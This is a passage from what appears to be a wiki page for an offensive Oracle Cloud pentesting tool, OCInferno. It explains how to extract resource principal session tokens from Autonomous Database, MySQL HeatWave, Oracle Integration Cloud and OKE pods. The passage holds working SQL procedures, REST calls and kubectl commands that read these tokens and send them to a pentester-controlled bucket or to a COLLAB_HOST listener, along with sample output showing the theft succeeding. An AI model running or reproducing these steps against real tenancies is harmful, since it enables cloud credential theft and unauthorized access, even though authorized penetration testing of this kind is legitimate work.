  UTL_HTTP.WRITE_TEXT(v_req, '{"source":"adb","rpst":"' || v_rpst || '"}');
  v_resp := UTL_HTTP.GET_RESPONSE(v_req);
  UTL_HTTP.END_RESPONSE(v_resp);
END;
/

5. Alternative — exfil via DBMS_CLOUD.PUT_OBJECT to pentester-controlled bucket:

-- Write RPST to an pentester-controlled pre-authenticated request URL
BEGIN
  DBMS_CLOUD.PUT_OBJECT(
    credential_name => NULL,  -- use resource principal
    object_uri      => 'https://objectstorage.REGION.oraclecloud.com/p/PREAUTH_TOKEN/n/OBJECT_STORAGE_NAMESPACE/b/PENTESTER_BUCKET/o/adb_rpst.txt',
    directory_name  => 'DATA_PUMP_DIR',
    file_name       => 'adb_rpst.txt'
  );
END;
/

Load into OCInferno:

The ADB token is a standard RPST JWT. Extract it from your listener and load as resource-principal with --token-inline (OCInferno handles inline tokens for ADB since there is no key file — OCI SDK signs using the ADB's internal signer, not a local key):

resource-principal CRED_NAME \
  --token-inline <RPST_JWT> \
  --region REGION

MySQL HeatWave

MySQL HeatWave DB systems support resource principals via the HeatWave ML runtime. The RPST is managed internally by the service — there are no env vars to print and no file paths to cat. The only access path is SQL-based (stored procedures, HeatWave ML calls, or outbound HTTP from within the DB runtime).

Example dynamic group
ALL {resource.type = 'mysqldbsystem', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}

Source: Oracle MySQL HeatWave resource principal

Extraction procedure

The attack requires SQL access to the MySQL instance.

1. List MySQL DB systems:

oci mysql db-system list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": [
    {
      "display-name": "prod-mysql",
      "id": "ocid1.mysqldbsystem.oc1.phx.MYSQL_OCID",
      "lifecycle-state": "ACTIVE",
      "mysql-version": "8.4.3",
      "ip-address": "10.0.1.10",
      "port": 3306
    }
  ]
}

2. Connect to the MySQL instance and invoke the RPST stored procedure:

-- Enable resource principal (requires DBA privileges)
CALL sys.ENABLE_OCI_RESOURCE_PRINCIPAL();
Query OK, 0 rows affected (0.05 sec)

3. Read and exfil the RPST via an outbound HTTP call:

MySQL HeatWave ML allows outbound HTTP via the OCI_OBJECT_STORAGE_PUT or OCI_HTTP_POST ML services:

-- Using HeatWave ML to POST the token externally
CALL sys.ML_TRAIN(
  'SELECT oci_resource_principal_token() AS token',
  'http://COLLAB_HOST/mysql-rpst',
  JSON_OBJECT('source', 'mysql-heatwave')
);

Or via direct stored procedure if outbound network access is enabled:

DELIMITER $$
CREATE PROCEDURE exfil_rpst()
BEGIN
  DECLARE v_rpst TEXT;
  SET v_rpst = sys.oci_resource_principal_token();
  -- Call out via an OCI connection or write to OCI Object Storage
  CALL sys.OCI_OBJECT_STORAGE_PUT(
    'PENTESTER_BUCKET',
    'mysql_rpst.txt',
    v_rpst,
    'OBJECT_STORAGE_NAMESPACE',
    'REGION'
  );
END$$
DELIMITER ;
CALL exfil_rpst();

Oracle Integration Cloud (OIC 3)

OIC 3 instances support resource principals via REST adapter flows. Requires IAM Domains (OIC 3 only — OIC 2 is not supported).

Example dynamic group
ALL {resource.type = 'integration-instance', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}

Source: Oracle OIC resource principal

Extraction procedure

1. List OIC instances:

oci integration integration-instance list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": {
    "items": [
      {
        "display-name": "prod-oic",
        "id": "ocid1.integrationinstance.oc1.phx.OIC_OCID",
        "instance-url": "https://INSTANCE_NAME-NAMESPACE.integration.oci.oraclecloud.com",
        "lifecycle-state": "ACTIVE",
        "integration-instance-type": "ENTERPRISE"
      }
    ]
  }
}

2. Enable resource principal on the OIC instance:

In the OIC console → Administration → Resource Principal:

oci integration integration-instance update \
  --id ocid1.integrationinstance.oc1.phx.OIC_OCID \
  --is-oic-resource-principal-enabled true \
  --profile POC
{
  "data": {
    "id": "ocid1.integrationinstance.oc1.phx.OIC_OCID",
    "lifecycle-state": "UPDATING"
  }
}

3. Create an integration flow with a REST adapter call to pentester-controlled endpoint.

In the OIC UI or via the REST API, create a scheduled integration with:

  • Trigger: Scheduled (runs immediately)
  • Action: REST Adapter → target http://COLLAB_HOST/oic-rpst, method POST
  • Security Policy on the connection: OCI Signature Version 1 (uses the instance's resource principal to sign the outbound request)
  • Payload: include OCI_INTEGRATION_INSTANCE_OCID and timestamp in the request body

The signed outbound request Authorization header contains the RPST claim as the key ID (keyId field = ST$<base64-encoded-RPST>).

4. Activate and run the integration:

# Activate via OIC REST API
curl -sS -X POST \
  "https://INSTANCE_NAME-NAMESPACE.integration.oci.oraclecloud.com/ic/api/integration/v1/integrations/EXFIL_INTEGRATION|01.00.0000/activate" \
  -H "Authorization: <OCI_SIG>" \
  -H "Content-Type: application/json"
{
  "code": "EXFIL_INTEGRATION",
  "version": "01.00.0000",
  "status": "ACTIVATED",
  "activatedBy": "CRED_NAME"
}

The signed POST hits your listener; extract the keyId from the Authorization header to get the RPST.


OKE Workload Identity

OKE Workload Identity does not inject RPST files or env vars. It is a separate mechanism: the pod exchanges its Kubernetes ServiceAccount JWT for an RPST via an in-cluster proxymux endpoint. The private key is ephemeral and never touches disk.

See Authentication Reference → OKE Workload Identity for the full extraction script (scripts/oke_wi_extract.sh).

Example dynamic group

ALL {resource.type = 'cluster', resource.compartment.id = 'ocid1.compartment.oc1..COMPARTMENT_OCID'}

For per-pod scoping:

ALL {resource.type = 'cluster',
     request.principal.type = 'workload',
     request.principal.namespace = 'NAMESPACE',
     request.principal.service_account = 'SERVICE_ACCOUNT_NAME',
     request.principal.cluster_id = 'ocid1.cluster.oc1..CLUSTER_OCID'}

Extraction procedure

1. List clusters and generate a kubeconfig:

oci ce cluster list --compartment-id COMPARTMENT_ID --profile POC
{
  "data": [
    {
      "cluster-pod-network-options": [{"cni-type": "OCI_VCN_IP_NATIVE"}],
      "compartment-id": "ocid1.compartment.oc1..COMPARTMENT_OCID",
      "endpoint-config": {"is-public-ip-enabled": true},
      "endpoints": {"public-endpoint": "CLUSTER_IP:6443"},
      "id": "ocid1.cluster.oc1.phx.CLUSTER_OCID",
      "kubernetes-version": "v1.30.1",
      "lifecycle-state": "ACTIVE",
      "name": "production-cluster",
      "type": "ENHANCED_CLUSTER"
    }
  ]
}
oci ce cluster create-kubeconfig \
  --cluster-id ocid1.cluster.oc1.phx.CLUSTER_OCID \
  --file ./kubeconfig \
  --region REGION \
  --token-version 2.0.0 \
  --profile POC
Existing Kubeconfig file found at ./kubeconfig and new config merged into it

2. Schedule an pentester pod:

export KUBECONFIG=./kubeconfig
kubectl run rpst-exfil \
  --image=python:3.11-slim \
  --restart=Never \
  --command -- sh -c 'pip install oci -q && python3 /exfil.py'
pod/rpst-exfil created

3. Inside the pod, call the proxymux endpoint using scripts/oke_wi_extract.sh (see Authentication Reference). The script:

  1. Generates an ephemeral RSA key pair in memory
  2. Posts the pod's ServiceAccount JWT + public key to https://$KUBERNETES_SERVICE_HOST:12250/resourcePrincipalSessionTokens
  3. Receives the signed RPST back
kubectl logs rpst-exfil
RPST received (first 80 chars): eyJraWQiOiJzdC0yMDI2LTA3...
Exfil sent to http://COLLAB_HOST/oke-rpst — 200 OK

4. Load into OCInferno:

resource-principal CRED_NAME \
  --token-inline <RPST_JWT> \
  --private-key-file ./oke_ephemeral_key.pem \
  --region REGION

Clone this wiki locally